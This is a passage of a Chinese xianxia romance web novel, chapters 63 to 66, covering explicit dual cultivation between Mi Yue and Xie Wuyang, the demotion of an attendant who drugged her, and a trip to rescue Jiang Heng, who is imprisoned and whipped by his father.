谢无恙一回生二回熟,第三回 已经摸出了些许自己的门道,动作依旧不紧不慢,先帮她放松。他已经习惯克制,将自己的需求置后,纵然心里起伏汹涌,在表情和动作里依旧不会表露半分急切。 糜月被抵在石床靠墙的那一面,她也只能靠触碰来感知他,两只手抓瞎似地在他的胸前和手臂上摸来摸去,最后被捉住,引领着放在了他的腰侧。 他似是半跪在她身前的姿势,挡住了她所有的退路,随着气息的靠近,她的双腿被迫屈起,此刻的她像是被囚在一隅的困兽。 她声音很轻很小,她似乎不喜欢发出声音,让他察觉她很愉悦,大多时候都咬唇硬忍着。 谢无恙捕捉到那轻微的声源,喉结微微滚动,下一刻那双柔软的唇就被他封住了。 糜月瞪大双眼,在黑暗里她根本看不见他的动作,所以根本没有防备,被他趁虚而入吻住了唇。 唇齿间陌生的绵软触感,给她带来的震撼,并不亚于第一次纳入他时的体验。 他微微侧头,在确认没找错之后,顺势将吻加深。舌尖轻探,在她尚未反应过来时,如灵蛇般撬开了她的唇齿,品尝到她口中的甘甜,沿着她的唇线辗转,细细舔舐。 他卷着她的舌尖纠缠,彼此的呼吸交织在一起,愈发急促而紊乱。他吻得越来越深,夹杂着压抑已久的情感,似是要将她整个人吞噬。 糜月被他亲到后仰,怕她磕着脑袋,谢无恙用手垫在她的后脑勺和墙壁之间。 这陌生的体验也让糜月感到有些失控的可怕,又有些难以自持地沉迷。 谢无恙压着她吻了很久,才堪堪放过她的唇,糜月像濒死的鱼,终于得以喘上一口气。 她伸手摸了摸被亲得有点发肿的唇瓣,拧眉似是不解:“谢无恙,你怎么变成这样了……” 以前,她觉得他这人清冷淡漠又持重古板,连双修都不会,还把她弄得很疼,然而这才过了两日,他好像什么都会了,连接吻这种事都无师自通。 在黑暗中,谢无恙的目光也一瞬不瞬地追随在她的脸上,嗓音喑哑:“你不是希望我变成这样吗。” 她身边所有的侍宫都对她唯命是从,以谦卑的姿态迎合,她把他绑来烬花宫,不就是以侍宫的名义。 他抛去他的地位体面,尊她宫主,以她喜欢的方式对待她,用他的修为,他的身体,用他一切能拿出来的东西来讨好她,这不正是她所乐见的? “……” 糜月被他问得一愣。 她确实喜欢他这样。 看到谢无恙配合听话地陪在她身边,比那些侍宫对她阿谀谄媚,更有让她成就感。 她只是有些诧异,他可以变化如此之大。 为了救他师父,他竟可以牺牲这么多吗…… 糜月心里有些说不上来的不舒服,硬邦邦道:“接吻不是双修的一环,你没必要做这么多。” 若是想让她放松,他可以用别的方式,糜月觉得吻唇代表喜欢,代表爱意,所以她一直不愿让他亲吻,在她思路奇怪的脑子里,接吻这件事甚至比双修更亲密。 她不喜欢他利用这件事,更气自己方才竟然沉醉在那个吻里,一度有些忘了自己因何而和他双修。 过了半晌,她听到面前的人极轻地,带着几分自嘲地重复,“不做多余的事么……” “好,如你所愿。”谢无恙咬牙道。 糜月还没品出来他话中的意思,双手被禁锢地攥住,另一样存在感极强的物件缓缓没入,强势占据了她所有心神。 …… 漆黑的暗室让人忘记了时间的流逝,更不知是白天还是黑夜,昏沉颠倒之间,糜月偶尔会听到有水滴落下的声音,不知道是岩壁自然析出的盐水,还是从彼此身上掉落的汗珠。 好似在这个与世隔绝的封闭空间里,他们只有彼此,只能感受到彼此呼吸的灼热,气息的交缠,虽然看不见彼此,但触感的真实和强烈更胜数倍。 石床边的地上衣衫堆叠,糜月最后累到瘫软在他身上,连事后的灵力都要他扣着她掌心一点点地送出。 谢无恙眼尾有些红意,有几分是情/欲未消,有几分是被她方才的话给气的。 连最亲密的双修都做了好几回,却连亲都不让亲一口。 他生平就没见过这么能欺负人的。 谢无恙屈指揉了揉青筋直跳的额角,低眸看着怀里毫无所觉还把他当成了靠垫、几乎快要睡着的少女,一个可怕的念头如野草般在他心里疯涨。 这暗室除了糜月无人知晓,里面又有足够多的物资,足够他们两个人在这里呆很久很久。 久到所有人都把他们遗忘。不用顾忌什么两宗隔阂和外界纷扰,她心里有没有自己也不重要了,只要她能寸步不离地和他待在一起,那将会是多么美好的世界。 谢无恙的指尖因为这想法有些激动地发颤,直到怀里的人动了一下,似是觉得原来的姿势不舒服,浅翻了个身,把下巴枕在了他的胸膛上。 感受到怀中人轻浅柔和的呼吸,谢无恙倏地有些冷静下来。 他转念想到,她是受不得委屈的人,她每天变着花样要吃这要吃那,肯定吃不惯味道苦涩的辟谷丹,这石床太硬,连枕头和被褥都没有,她也睡不惯。 在这里也没有她喜欢的首饰和小裙子能天天换,晒不了太阳,泡不了花瓣澡,她受不了这样的日子的。 可是这个阴暗的想法在他脑海中挥之不去,于是退而求其次。 他低下头,让嗓音尽量如常温和地问她:“糜月,在你突破九重境之前,我们便一直在这里修炼,不出去也不见任何人,好么?” 糜月惊讶于他怎么会有这么离谱的想法,尽管她现在没什么力气,但仍撑着眼皮,翁声瓦气地说了一句:“不好。” 在这暗室里呆这么久,副宫主们会以为她又消失了,不知道又要闹出什么事来,她不能再这么任性了。 谢无恙对她的回答并不意外,眸光微暗,掌心和她扣得更紧,什么都没说。 糜月却因为他的话,思路发散地想到什么,睫羽轻颤了下。 她打造的这间暗室好像还挺适合长住的,等她突破九重境,打开石门后,若真能寻到娘亲下落,便把谢无恙再骗回来,往这里一关。 什么剑尊,什么大道,他只要安安分分地做她一个人的侍宫就好了。 这个念头刚浮过心尖,糜月一惊,赶紧闭了闭眼将这个荒谬的想法驱散。 她以前是很恨谢无恙,但得知他吞她烬花花瓣,并非本意,拿走那颗定元珠也是为了救他师父,她好似就没有那么恨他了。 如今他还带回了关于她娘亲的线索,又如此配合地助她修炼,她却想着把人囚禁在暗室里。 不行,她不能这么坏…… 第64章 第 64 章 处罚沈灵淇。 石床对于睡习惯软床的糜月来说, 实在太硬了,单是躺着都觉得硌得慌。 她当初修建这密道时,根本没想过有朝一日会在这里双修, 这张石床原本是打算拿来临时打坐修炼的,早知如此, 就应该换成木头的。 好在有谢无恙给她当人肉靠垫, 他本是穿衣显瘦,脱衣有肉的类型, 枕起来很舒服,尤其是他身上的气息,如同情香一般, 很能勾起她的兴致,平时不靠近时尚不觉得, 一旦越过雷池, 便有些难舍难分。 糜月迷迷糊糊间, 又被他拉着双修了两次。 直到过了一天一夜。 在翌日的天蒙蒙亮时, 困极了的糜月才被谢无恙从暗室里抱了出来, 好在书房和寝殿都是相连的,路上也没有人看见。 挨上自己柔软的床榻和蚕丝被,糜月方觉得全身得以放松, 睡进了云端里。 她懒进被窝, 转眼又把某个人形肉垫用完就丢, 抬脚踹了踹他:“一个时辰后,叫我起床。” 她的內衫早就松掉了,挡不住胸前香艳的风景,雪肩半露,点点红印如同雪地里撒下的梅花瓣, 有些是揉捏出的指痕,有些是浅浅的吻痕。 谢无恙低眸瞥见自己的杰作,和她眉眼舒展的睡颜,心绪稍稍平缓下来。 鲜艳明媚的花养在那样不见光的暗室里,只怕要不了几天就会枯萎衰败。 他为方才自己阴暗又自私的念头,感觉到些许的后怕和歉疚,握住她露在外面的脚踝,塞回暖柔的被子里,起身去为她准备睡醒后要用的浴桶和热水。 接下来的半个多月,糜月除了吃饭和偶尔面见副宫主,处理下宫中事务,其余绝大部分时间都花在了同谢无恙双修上。 有时候,主殿的烛火几乎要亮一整夜而不熄,偶尔的白天也不能幸免,殿门一关,无论是侍从还是弟子,都很识趣地不来打扰。 糜月早把看沈灵淇的事抛却了脑后,相应的,她增涨的修为如同脱缰的野马,一日千里,突飞猛进。 …… “宫主,我想告假几日。” 一日,薛紫烟忽然来找到糜月,说想请假。 糜月有些奇怪,薛紫烟几乎是从来不休假的,一问缘由,才知是因为前阵子江蘅回弦音宗给他爹过寿诞,说好去两日就回,如今快一个月都过去了,他还没有回来。 薛紫烟有些担心,想亲自去弦音宗一趟。 糜月还算了解江蘅的人品,他这人守诺,他既然说了会回来就不会食言。 “江蘅这么久还没回,有可能是被弦音宗的人给扣住了。”糜月说道。 薛紫烟也想到了这层,但她不太确定,江蘅是真的遇到了什么事耽搁了回来的日子,还是他后悔了,不愿再回烬花宫。 她并不是会强人所难之人,哪怕是他后悔了,总要见面说清楚才是。 糜月看了眼窗外已经有些暗下来的天色:“今日天色已晚,明日我同你一起去弦音宗。” “不用劳烦宫主,我带上些弟子去就行。” 薛紫烟知道她最近在忙着修炼破镜,不想拿自己的私事去麻烦她,去弦音宗一来一回,少说要耽搁七八日呢。 糜月摇摇头:“你这趟去要人,说不好会和弦音宗起冲突。我近日修为增涨得太快,也需要打打架,活动下筋骨来巩固修为,你去备好灵舟,明日动身。” 听她如是说,薛紫烟便没有推辞,有宫主同行,她倒是心安了许多,领命离开。 她前脚刚走,侍从后脚送来晚膳。 糜月在方桌前坐下时,问起旁边的谢无恙:“明日我跟紫烟去弦音宗,你跟我一起去吧。” “好。”谢无恙应声。 方才她和薛紫烟的谈话,他在侧殿也听到了。 弦音宗和隐剑宗交好,他更清楚江蘅在弦音宗的处境,恐怕不是他不想回,还是不能回。 烬花宫的菜色都重口偏辣,糜月怕他吃不惯,私下嘱咐过厨子额外做几道清淡些的菜肴。靠近谢无恙面前摆着的几盘菜,都是清淡无油的素食,而糜月面前的菜肴清一色的赤酱红油。 乍一看这样对比明显的菜色,仿佛是她在虐待他一般。 糜月想起来,最开始她被他捡到隐剑宗时,谢无恙连膳食都是不吃的,图省事只吃辟谷丹,把她饿得要去树上摘石榴,如今他在她影响下,每日在固定的时辰用些清淡饮食,已经是个难得的改变。 今日薛紫烟提起江蘅,糜月忽然就想起了沈灵淇,她觉得应当去看他一趟,问清楚当日的事。 于是用完晚膳,她搁下筷子,差使谢无恙:“香炉里的苏合香好像点完了,你去取些来吧,我记得放在寝殿床头第三格的抽屉里。” 糜月眼看着男人的身影离开,正想不声不响地从殿门口溜走,没想到被他杀了个回马枪。 “你要出门?” 清沉的男音从身后传来,糜月身形一僵。 “嗯……有点事。” 不知为何当着谢无恙的面,她有种莫名的心虚感,没有直说要去看沈灵淇的事。 说完,糜月才觉得自己怂得厉害,她是一宫之主,去哪里也无需和他汇报吧,就算是去探望某位侍宫,也是正常的吧。 谢无恙见她话音吞吐,加之她鲜少晚上出门,若是宗里有什么事,也都是副宫主们主动来找她,心里当下明白了什么。 “那便去吧。” 糜月心想,他要是追问自己去哪儿,她这么就怼回去。 话到嘴边,结果他竟然问都未问,糜月有些意外地眨了眨眼,“哦”了一声,在那道存在感很强的视线里,硬着头皮将门推开。 又听到他低声说了句:“早些回来,今日还未……双修过。” 糜月忽然有种小时被先生查验功课的既视感,耳后微红,表情冷淡敷衍:“知道了。” …… 沈灵淇被暂时安顿在给专门给受伤弟子疗伤的药房内。 这里的环境算不上简陋,但比起他侍奉在糜月身边的时候,境况差了许多。 副宫主们知道他给糜月下药的事,虽然按照她的吩咐,给沈灵淇用了最好的丹药,保住他的性命,但额外的如灵石分例之类,一应没有了。换句话说,他如今是个待罚的罪人,等着糜月来发落。 听到门口传来的敲门声,在床榻边正打坐调息的沈灵淇,以为是来送晚膳的人,直到屋门推开,一抹海棠红的裙摆荡进来,伴着钗环银饰的清脆声。 沈灵淇不可置信地抬眼,那张令他朝思暮想的容颜映入眼帘。 “宫主……” 沈灵淇睁大眼睛,当即扶着床柱,从榻边站了起来。 糜月瞥了瞥他,在一旁的茶桌前坐下,问:“你伤养得如何?” 听到她状似关心的话,沈灵淇眸光闪动,苍白的脸浮上一抹红意:“多谢宫主挂怀,经过这些时日的调养,还有些内伤未愈,但已经勉强能下地了。” 说着,他扶着墙,一步步慢慢走到她身前。 屋内只点着两盏油灯,并不明亮的光线下,沈灵淇定定看着面前许久未见的少女。 他醒来这么久,她都未曾来看过他,他还以为她已经把自己忘了。 “沈灵淇,那日的情香是不是你下的?” 那日,糜月觉察到不对,二话没说就动了手,还未听他亲口承认过此事。 “是。” 沈灵淇没有否认,当日他以糜月的名义去问薛紫烟要情香,她一问薛紫烟就能证实,薛紫烟也不可能替他瞒谎,事到如今,否认和抵赖没有任何意义。 “你为何要给我下情香?” 糜月蹙起眉头,想到什么,“是不是……有人指使你做的?” 沈灵淇跟随她多年,一直很忠心本分,现在想来,她仍旧不太相信,他会因为私欲给她下燃情香,甚至想到了他会不会是被人胁迫所为,那人这般做是什么目的,是想通过沈灵淇盗取烬花宫的什么机密吗? “无人指使我,”见她还在为自己找理由开脱,沈灵淇唇角泛上几分苦笑,“我为何用情香,宫主你还不明白吗?” “我身为宫主的侍宫,宫主从不肯同我亲近,我所作所为,不过是想让宫主多看重我几分,并无一丝害宫主之心。我心中只有宫主,再无旁人。” “沈灵淇,你做出这种事,我如何能看重你?正因为你是我身边最信任的人,才让我如此失望。” 糜月并未因他的话而动容,心里仍旧很气。 这一次是燃情香,下一次会不会就换成毒药了? 她对自己人其实很心软又护短,但在某些原则问题上,她绝情得厉害,她绝不可能留一个对自己有异心的人在身边。 沈灵淇弯下双膝,俯身在她身前跪了下来:“灵淇自知有错,只要宫主不将我赶走……我愿承担任何责罚。” 他在决心用这招的时候,已经想到了万一败露,她会有多生气,也做好了受罚的准备。 “我不可能再留你在身边,”糜月沉吟了片刻,开口道,“这样吧,你挑一处远离琼山的烬花宫据点,过去打打下手,你若选不出来,便让廖红叶给你安排。” 糜月虽然气他给自己下药,但她打也打了,差点把人打去了半条命。 何况沈灵淇的确用心地跟了她很多年,她也不忍见他以后过得悲惨,沦落到无处可去的地步,思来想去,将他下派到烬花宫的据点是最好的处理办法。 …… 第65章 第 65 章 谢无恙你咬我做什么(修…… “宫主……你一定要赶我走吗?” 沈灵淇四肢发冷, 闻言蓦地抬头看她,眼眶红了一圈,指尖不住地颤抖, 似是不敢相信她真的会忍心舍弃他。 “我在宫主身边侍奉多年,尽心尽力, 如今只做了这么一件错事, 我认打认罚,毫无怨言, 只求能留下我,宫主连这点要求都不能满足我么?” 沈灵淇紧咬下唇,委屈的眼泪滚落, 一滴滴地砸了下来。 糜月看见他落泪,心下有一丝不忍, 语气软了两分:“一直待在我身边, 对你未必是好事, 你在琼山憋了太久, 都未曾去看看外面的风景, 你修为并不差,在外派的据点更能磨炼你。” 修士本该有更广阔的天地,不该囿于这宫殿之中。 副宫主的侍宫们虽然以她们为尊, 但他们平日也有在修炼, 有自己相交的好友, 有自己的事做,来去外出都是自由的。 可唯有沈灵淇从不出门,整日围在她身边打转,连她要穿戴什么样的首饰,洗澡水要什么温度, 事无巨细都要操心,满心满眼里都是她。 糜月想,等她突破第九重,修为便已经是登峰造极,便已不再需要侍宫双修了。平日里铺床布菜这些小事,完全能交给没有修为的凡人侍从去做,何必将他绑在身边。 “琼山对我来说就是最美的风景,这里有宫主在,我不会也不想去任何地方,”沈灵淇抬袖擦去眼角的泪,压抑哽咽的嗓音流露出怨怼,“宫主现在说这些话,无非是身边有了新人,不再需要我罢了……” 他这些日子也从弟子们口中听说,宫主有了新侍宫,是隐剑宗的东极剑尊,俩人夜夜双修,感情甚是和睦。 那个修为快到渡劫期的人,竟然甘愿给她当侍宫…… 沈灵淇咬紧了后槽牙,果然,他的预感没有错,宫主从隐剑宗回来的那一日就变了。 “新人?” 糜月愣了一会儿,才反应过来他说的人是谢无恙。 她一时无法反驳,只是皱眉道:“……我同他双修只是为了进阶修为。” “果真如此吗?” 沈灵淇双眼通红,嗓音颤哑,生平第一次用质问的语气同她说话,“宫主从前看不上双修之法,执意自己突破烬虚八重境,哪怕我求着宫主双修,宫主也从来不愿,如今为何换成了他,宫主便乐意了?” 他此时认知到了一个足以将他的真心和自尊分崩离析的事实,她排斥的从来不是双修,只是不愿同他双修而已。 糜月心想,如果沈灵淇没做下催情香的事,谢无恙也没有在那天跑来告诉她关于秘宫的线索。 她可能真的会按照原有的轨迹,和沈灵淇双修,提升修为,再去荡平隐剑宗。 但这世上没有如果,这些事都没必要同他说。 “沈灵淇,我对你已经仁至义尽,只是外派据点,这惩处对一个敢给宫主下药的侍宫来说,已经是格外开恩了。” 坐在椅子上的身影站了起来,烛火将她的影子拉得冗长。 沈灵淇看到她眼里的决绝,便知道此事已无可挽回了。他了解糜月,她看似骄纵任性,但本质善良,很好相处,尤其对自己人很护短,但她真正下定决定的事,谁也撼动不了。 他高估了自己,更高估了他在糜月心里的地位。 他自诩在她心里是与众不同的侍宫,又有多年情分,可在糜月眼中,他和那些服侍她多年的普通侍从,并无区别。 糜月似是不想再在这里待下去,站起身来,那抹海棠红的裙角从他眼前绕过:“我明日要出远门,你想好了去哪处据点便告诉廖红叶,她会给你安排。” “不必麻烦副宫主……” 沈灵淇垂首跪坐在地上,面颊陷在烛火阴影里,仿佛泄了气,低声丢了魂魄似地轻声喃喃,又似下了决定,“我去北境离荒原。” 糜月抿抿唇,那里是离烬花宫最远的一处据点,去了那里,几乎这辈子都无缘再回烬花宫。 “好,愿你今后,好自为之。” 少女的话音落,伴随着屋门合上的声响,沈灵淇再撑不住,扶着桌角呕出一口血来。 …… 糜月回到寝殿的时候,谢无恙正静静地坐在榻边,手里拿着一本书在看,烛光晃动映出清瘦颀长的影子。 他穿着月白长衫,墨发散在肩后,似是刚刚洗漱过,发尾还带着些许湿意,糜月瞧了他两眼,他手里的书是她前两天从书架里淘汰的那本《太微占经》,这书他之前就看过,怎么今日闲得又将这书看了一遍。 糜月想到自己书架上不正经的话本闲书,好像还真没几本能挑出来给他看的。 “事情处理完了?” 从她进屋后,谢无恙的视线便从书上移开,落在她身上,似是随口问道。 糜月心不在焉地“嗯”了一声,在铜镜前坐下,抬手去摘发间的钗环,谢无恙旋即起身,走到她身边,骨节分明的手从她身后握住了斜插的发簪,动作轻缓地帮她取下。 因为沈灵淇的事,糜月的心情不太好。 她不禁想,连沈灵淇都对她有了怨怼,自己这个宫主是不是有些不太称职? 如果她早点发现沈灵淇对她的心思,或许能避免一些事。 她想到推门离去前,她最后看了沈灵淇的那一眼。 光影黯淡的狭小室内,少年跪着的身形单薄纤弱,宛若秋末枝头的伶仃残叶,她的心里说不出是什么滋味。 如果他没有脑子糊涂,做出那种事来,她会保他一辈子衣食无忧的。 身后的谢无恙留意到她的神色,倏然开口问:“那个给你下情毒的侍宫,你是如何处置的?” 糜月一愣,扭过头来看他:“你怎知我是去见沈灵淇了,还知道是他给我下得情毒?” “我猜的,”谢无恙狭长的眼眸微敛,“看来是猜中了。” 那日她身中情毒,狼狈到去喝他的指尖血,若是那情香是她自己所下,身上不至于没带解毒的药。而那个在灵舟上给她披衣服的侍宫,自从他来之后,就再也没见过,廖红叶前些日子说那侍宫醒了,让她去瞧瞧,那侍宫因何受伤,多半是被她打的。 事情串一串,就能想得明白。 加上她今晚出门前吞吞吐吐,他猜到有可能是去找那侍宫,但不确定,不过她藏不住事,一试就问出来了。 “……” 糜月不太喜欢在他面前,被一眼看穿、毫无秘密的感觉,原先那点子没由来的心虚,当即化为了些许羞恼:“我如何处置我的侍宫,也需要同你汇报么?” 她身上没有血腥味,谢无恙低眸看她:“所以他还活着?你……舍不得杀?” 以她那有仇必报的性子,那侍宫给她下了情毒还能活,那侍宫的地位在她心里很不同。 他顿了顿,继续道:“你要是舍不得动手,我替你杀了他。” 糜月的眼尾抽了抽:“我什么时候说要杀他了?” 她把最后的耳饰卸下来,还挤兑了他两句:“隐剑宗向来自诩名门正派,端人正士,东极剑尊更是全宗楷模,个中翘楚,怎么动不动把杀人挂在嘴边?” “他给你下情毒,并不无辜。”身后的人嗓音冷沉。 “我已将罚他贬去辖地据点,再不得回烬花宫,”糜月蹙眉,将手中的饰品丢进妆奁匣里,发出一声叮当的脆响,“你不可以动他,他跟在我身边多年,罪不至死。” 身后的人没作声,糜月当他是听进去了,卸完发饰之后,犹自去了屏风后,沐浴泡澡。 …… 糜月觉得今夜的谢无恙有些不对劲。 平时双修时,他很喜欢看着她的眼睛,看着她脸上表情的细微变化,来判断他下一步的进攻和防守,就像温水煮青蛙,根据她的表情和反应,一点点调整火候,把她煮到化开成水。 若是过火了,看到她眉头紧蹙,眼角泌泪地喘不上气,他会保持不动的姿势,停上一会儿,等她稍缓过来些,再继续。她若是心有余力,还能睁开眼回看他,谢无恙就会上些强度,长驱直进。 今晚,他始终低垂睫羽,或者偏着头,始终都没看过她,甚至都不主动了。 其实这事对于糜月来说,只要结果能完成,谁来主动,区别不大。 但主要是因为她太懒,双修又是件耗费体力的事,平日都是谢无恙动得多,她更喜欢像条咸鱼般瘫着,享受他单方面的服侍。 “谢无恙,我不想动了,换你来……” 糜月的后腰都冒汗了,双腿有些酥麻酸软地发抖,而她身下的人月白色的衣衫近乎完好,鬓发也没有乱,除了眼尾有些发红之外,一点也看不出来是在行双修之事。 她瘫在他的胸膛上,撂挑子不想干了,总是她动,也很累的好么。 糜月抬起睫羽,看着他线条分明的下颌线,忽然觉得这种事也需要天赋,她总是坚持不了一刻钟,谢无恙往往都能忍很久。 身下的人终于动了,一阵天旋地转,糜月的后背挨上柔软的床榻,仰躺着面对着他。 少女铺开漫过腰肢的乌发,越发衬得她身洁如玉,她的小衣已经被解掉了,春色一览无遗,尤其是那点粉艳艳的,宛如雪中红梅,勾人心魄。 谢无恙倾下身子,俯首下去,像往常般手指堆雪,亲吮红梅。 糜月尚未觉得有异,直到胸前传来轻微的刺痛,她吃痛低叫了一声,浑身颤抖紧绷,立刻翻身伸手推开他,低头去看,一道淡红色的齿痕印在绵软丰盈之处,甚是显眼又凄惨。 “谢无恙你……咬我做什么?” 糜月眼底泛泪,有点生气,也有点懵地看着他。 他的神相其实不是属蛇,就是属狗的吧?! 谢无恙不动声色,薄唇处残留着一抹水光,眸色比这夜色更暗沉,汹涌的欲/念像化不开的浓墨,似是想要把她拉进其中,彻底地独有侵占。 他伸出两指,抚摸上她的唇,旋即从她开合的唇瓣里按进去,压上她柔软湿濡的舌根,堵住了她未尽的话音。 糜月心中有气,被他这样用手指压住唇舌,更是有种难言的羞辱感,她费力去咬他的手指,而他第二根指节刚好卡在她的牙关处,她咬了两下,都没咬破,反而硌得她牙痛。 他跟随你多年,便罪不至死,你何尝对我这么心软过? 谢无恙因为她明显偏袒的话,胸口堆结着郁气,心仿佛被无形的织网层层笼罩,闷得他透不过气。 方才心里止不住地对沈灵淇的杀意,因此时将人拥在怀中的真实触感,让他稍稍冷静下来。 杀了一个沈灵淇,以后可能还会有陈灵淇,赵灵淇……为了一个不相关的人,毁了他好不容易和糜月缓和起来的关系,并不值得。 她能在中情毒后,仍能保持理智,还将那侍宫打伤,说明她对那侍宫并无他意。 可是心里仍旧堵得厉害。 他方才那口也并未用力咬,只是心里堵气一个没收住,咬完察觉到她吃痛的战栗,方觉得后悔,再度俯首下去,清冷的眉眼低垂,在咬痕处安抚地舔舐起来。 感觉到她的挣动和不满,似是因为安抚而消解了一些,他抽/出水光淋漓的手指。 “咳咳,谢无恙,你……” 糜月终于得以出声,舌根发麻地咳了两声,话尚未说完,唇瓣再度被堵住,他托着她的后颈,俯下身子,以唇代之。 除了双修的必要过程,糜月对他在床榻上的温存仅限于搂抱,她不喜欢谢无恙的强势和犯禁。 今晚面对他的过分逾矩,糜月更不客气地咬下去,唇瓣远不如手指耐咬,一口就被她咬出了血,腥甜的血味瞬间在彼此的口中蔓延。 谢无恙任由她咬,明知触犯她的禁地,惹她生气,也要执意而为。 以前,他觉得能与她双修,便已是他的幸运,不能奢求太多。 但,人心都是贪婪的。 如果可以……他不愿她身边再有任何一个侍宫,她的全部他都想要。 此时此刻,鲜血的铁锈味仿佛成了催化剂,痛疼亦成了衬托,修长有力的手指托着少女纤白的后颈微微收紧,气息沉紊,吻得更深。 …… 第66章 第 66 章 他的真命天女。 翌日。 晨曦初露, 天边悄然泛起鱼肚白,如烟似缕的薄雾笼罩琼山,仿佛给山峦林木都披上了一层朦胧的帷幔。 薛紫烟一袭便行的窄袖劲装, 长发利落地束起,她有条不紊地清点好了随行的弟子后, 将出发的灵舟悬停在山顶的泊舟处。 随着最后两道身影登上灵舟, 掌舵的弟子运起灵力,灵舟平稳地缓缓升起, 驶入尚堆积着薄雾的云端。 糜月和谢无恙一前一后,相继面对而坐,彼此都没说话。 薛紫烟不愿因自己的私事而兴师动众, 加之这次有宫主和谢无恙同行,所以带的弟子并不多, 只有二三十个人。 宫主都没说话, 弟子们更加不敢说话, 灵舟一时间安静得落针可闻。 薛紫烟觉察到气氛的不对, 看了看脸色欠佳的糜月, 又看了看她对面神色如常的谢无恙。 因为前宫主的事,薛紫烟和副宫主们都对谢无恙有些敌意,分外防备留心他的行踪, 生怕他借此机会做出什么有害烬花宫之事。 然而这些时日以来, 他几乎不怎么出门, 整日陪在宫主身边,倒是挺尽职尽责地做一个供双修的工具人,于是那份敌意就变成了把他当做空气的无视。 此时同乘一艘灵舟,薛紫烟难免多打量了他几眼,心头疑惑。 怎么这天刚亮的, 这俩人像是吵架了? 而旁边的弟子们此时也闻到了八卦的气息,不敢出声,只敢在彼此间交换眼神。 谢无恙坐姿端直,今日穿着一袭淡蓝的衣衫,如芝兰玉树般静坐着,洁白如雪的衣襟领口一丝不苟地交叠着,微风吹过他时,仿佛流速都变慢了,唯有发尾轻晃。 那副眉眼清冷依旧,周身散发着生人勿近的磁场,而那向来紧抿的嘴角竟是被人咬破了,像是静雅澄澈的水墨画里,突兀地混进了一点靡丽的朱砂,一副被宫主欺负得狠了的模样。 而她们的宫主,远山黛眉有些压低的不耐,就差把烦躁两个字写在了脸上。 听说,前阵子沈侍宫因惹怒宫主被打伤,如今身边换了人,这新侍宫瞧着也没好到哪里去。 宫主平日对弟子们都是极好的,没想到私底下对侍宫倒是一点不心疼手软…… 弟子们不敢多看,心里唏嘘两句,便挪开目光。 糜月若知道弟子们的想法,只怕会急得跳起来,被欺负的人明明是她,而她被咬的地方着实难以示人。 她回想起昨夜的情景,胸前某处还在隐隐作痛,视线扫过谢无恙被咬破皮的唇角,又往下移了移,扫过他喉结处那已经淡到快看不清的齿痕。 她灵光一闪,眉头微皱,腹诽这人昨晚突然发癫,该不会是在报复她之前咬过他喉结的事吧? 这人怎么如此小心眼! 糜月只恨她咬得轻了,眼不见心为静,干脆闭上眼睛修炼打坐。 谢无恙的目光落在糜月身上,似乎有些欲言又止,顾忌着人多没有开口。此行去弦音宗路途尚远,他静坐了一会儿后,同糜月一样阖起眼默默修炼。 …… 弦音宗位处北境和东洲的交界处,门下弟子有两三千人,是个中型门派,但传承悠久,加之宗门里有不少出名的音修。许多宗门在举办重要宴请时,都会愿意出大价钱的灵石,请弦音宗音修们去弹奏助兴。 所以弦音宗和不少宗门都有交好往来,当然,烬花宫除外。 曾有一年,糜月过生辰,也想着请弦音宗的音修来弹奏热闹热闹,结果请帖送了出去,好几日都杳无音讯,等她去追问,人家竟回了句,弟子们都外出历练了,宗里没有多余人手。 弟子们再去历练,何至于连几个弟子都分派不出来,糜月哪里听不出人家是不想同烬花宫沾染关系,于是直接把弦音宗划进再不相往来的名单里。 在遥遥可见弦音宗的山头时,灵舟的速度降了下来,糜月派了两个弟子前去送上拜帖,打算先礼后兵。 弟子拿着糜月的拜帖,御风来到宗门前交给守门的弟子通传,没过多久,几道身影出现在灵舟下方。 是弦音宗的几位长老以及弦音宗宗主江禄山。 烬花宫和弦音宗一向没什么往来,糜月便搬出来小时和江蘅同在无涯学宫的交情,说是来找江蘅叙旧。 江禄山黑沉着脸,高声拂袖道:“我儿病重,不宜见客,还请烬花宫主回罢!” 病重? 明明大半月前,江蘅离开前的那一晚还生龙活虎的,怎么回家探个亲,反而病重了。 薛紫烟闻言心下一紧,心里涌上不好的预感。 糜月也压根不信他的话,装模作样地做惊讶状:“什么?他竟然病了,那我更得去瞧瞧了,我这里有些上好的疗伤丹丸,正好赠与他用。” “不必了,我儿正在精心养病,还望烬花宫主莫要再来扰!” 江禄山面色不善地压着火气,这烬花宫强掳他儿当侍宫的事,在四境都传遍了,如今竟还有脸来要人! 糜月见这老头推三阻四,心里便已明白江蘅定是被他给关了起来,于是偏头朝薛紫烟使了个眼色,后者会意,慢慢从众多弟子的身后悄无声息地撤开。 糜月转而似笑非笑看向他们,眉峰微挑,嗓音清脆:“其实我这遭本是想来找江蘅切磋一番,既然他病重,不如就同江宗主讨教讨教?” 说罢,不等江禄山等人反应,双手的掌心各凝出一团散发着烈焰的烬花虚影,宛如两枚燃烧的火球,一前一后呼啸着便朝着几人的面门处砸了下去。 …… 弦音宗后山,一座不起眼的宫殿里。 这里本是江蘅的起居寝殿,如今却宛如一座幽闭昏暗的地牢,日光艰难地透过挤满灰尘的窗户缝隙,吝啬地洒下几缕微光,却也只是让那角落里的凄惨景象越发清晰。 江蘅的手脚被绳索死死束缚,关节处因长时间的挣扎而被磨破了皮,露出粉嫩的血肉。他的后背犹如一张被乱刀划刻的破旧画布,鞭痕密密麻麻,有的地方肿起老高,泛着青紫的淤血,有的则皮肉外翻,惨不忍睹。 他额头上已经干掉的冷汗和凝固的血渍,在脸上混成污浊的痕迹,嘴唇毫无血色,干裂起皮。 江蘅有些浑浑噩噩,不知被关在这里已经是第几日了。 他没有想到父亲会这般生气,他满怀欢欣地回来,想给父亲祝寿,而父亲见他的第一面,直接让人将他绑了起来。 江蘅已经习惯被体罚鞭打的日子,但父亲这一次格外地狠,在打完他后还会命人给他的伤处涂药,等伤口结了疤,再继续用沾了盐水的鞭子打,新伤叠旧伤,他如今的身上已经没有一块好肉了。 他在想,要不要给爹爹服个软,先改口说他再也不会回烬花宫了,他真的……有些撑不住了。 他又在想,他和薛紫烟说好只回来两日,如今食言了这么多日,她会不会担心自己?或是误以为他变了心意,又或许……她根本也不在意他。 恍惚间,屋门咯吱一声被人推开,江蘅抬起眼,是素日来给他送饭的弟子。 “少主,这是您今日的饭食……我就搁下了。” 那弟子似是也不忍见他身为弦音少主如今却落得这等惨状,放下手里的饭碗就要走。 江蘅动了动唇,没出声。 他摇摇脑袋,大概是烧糊涂了,刚才一瞬间,他竟然会幻想来的人会是薛紫烟。 “噗通——” 